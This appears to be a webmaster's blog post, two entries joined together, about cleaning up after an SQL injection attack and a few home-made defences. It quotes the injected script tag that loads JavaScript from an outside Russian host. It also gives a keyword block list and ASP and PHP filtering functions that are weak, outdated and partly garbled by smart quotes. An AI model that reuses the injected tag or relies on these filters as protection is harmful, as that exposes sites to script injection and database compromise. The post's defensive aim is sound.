The other day a Russian hacker made a mess of a site I manage. (I didn’t build the site, and I like to think that if I had, the attack would have been thwarted). Anyways the hacker used a method called SQL Injection where they take advantage of one of your submission forms to add extra SQL commands to their input and wreak havoc on your database.

In this particular instance the hacker added a JavaScript call into about every text and varchar field in the  entire database. (12 tables in all). Here is the offending code that was inserted into the fields:

<script src=http://www.jsportal.ru/page.js></script>

I don’t know what the Javascript does when loaded, but I am sure its not good news. FYI – here is an important tip for cleaning up your database: SQL Replace Function on a Text Field

Anyway, there are certainly other articles on how SQL Injections occur and how to prevent them, but here is a couple very useful functions that will greatly reduce your vulernability to SQL Injection if you apply it to any data that site users can submit to your site.

For ASP sites:

This one strips out single quotes, which are crucial to adding SQL commands:

<%

function stripQuotes(strWords)
stripQuotes = replace(strWords, “‘”, “””)
end function

%>

And this one strips out other naughty words that might destroy your database:

<%

function killChars(strWords)

dim badChars
dim newChars

badChars = array(“select”, “drop”, “;”, “–“, “insert”, “delete”, “xp_”)
newChars = strWords

for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), “”)
next

killChars = newChars

end function

%>

These aren’t the exact ones I use, but you get the idea. You can find the article where I got these ASP examples from here:

SQL Injection Attacks – Are You Safe?

For the PHP versions:

In PHP it is even easier. Just using this one function will help prevent many attacks:

mysql_real_escape_string($strWords);

This will strip out these harmful characters from the variable strWords:

• \x00
• \n
• \r
• \
• ‘
• “
• \x1a

You can also use this to make sure inputs you expect to be numbers are actually numbers:

$strNumber= intval($strNumber);

The other day a creative Russian hacker caused me to do some database clean-up. I won’t tell the whole story, in a nutshell be sure to protect your sites from SQL Injection. I guess my next post will be some SQL injection prevention methods.

Anyways, I discovered that the usual replace method does not work on Text fields, just varchar and similar. And when I did a quick Google search, I found a lot of way too complicated approaches. So here is the simplest way.

First, here is the usual update replace method you might be familiar with:

SET StringtoEdit = REPLACE(StringtoEdit, ‘to-be-replaced’, ‘replace-with’)

(so in every entry of the column “Stringtoedit” any instances of the “to-be-replaced” are replaced with “replace-with”)

But if you try this method with a column that has the setting type of “Text”, you will get this rather vague error:

Argument data type text is invalid for argument 1 of replace function.

So here is the easy solution I found:

SET StringtoEdit = REPLACE(SUBSTRING(StringtoEdit , 1, DATALENGTH(StringtoEdit )), ‘to-be-replaced’, ‘replace-with’)

I have bolded the new elements of the SQL command. Try it out, its way easier then most solutions out there.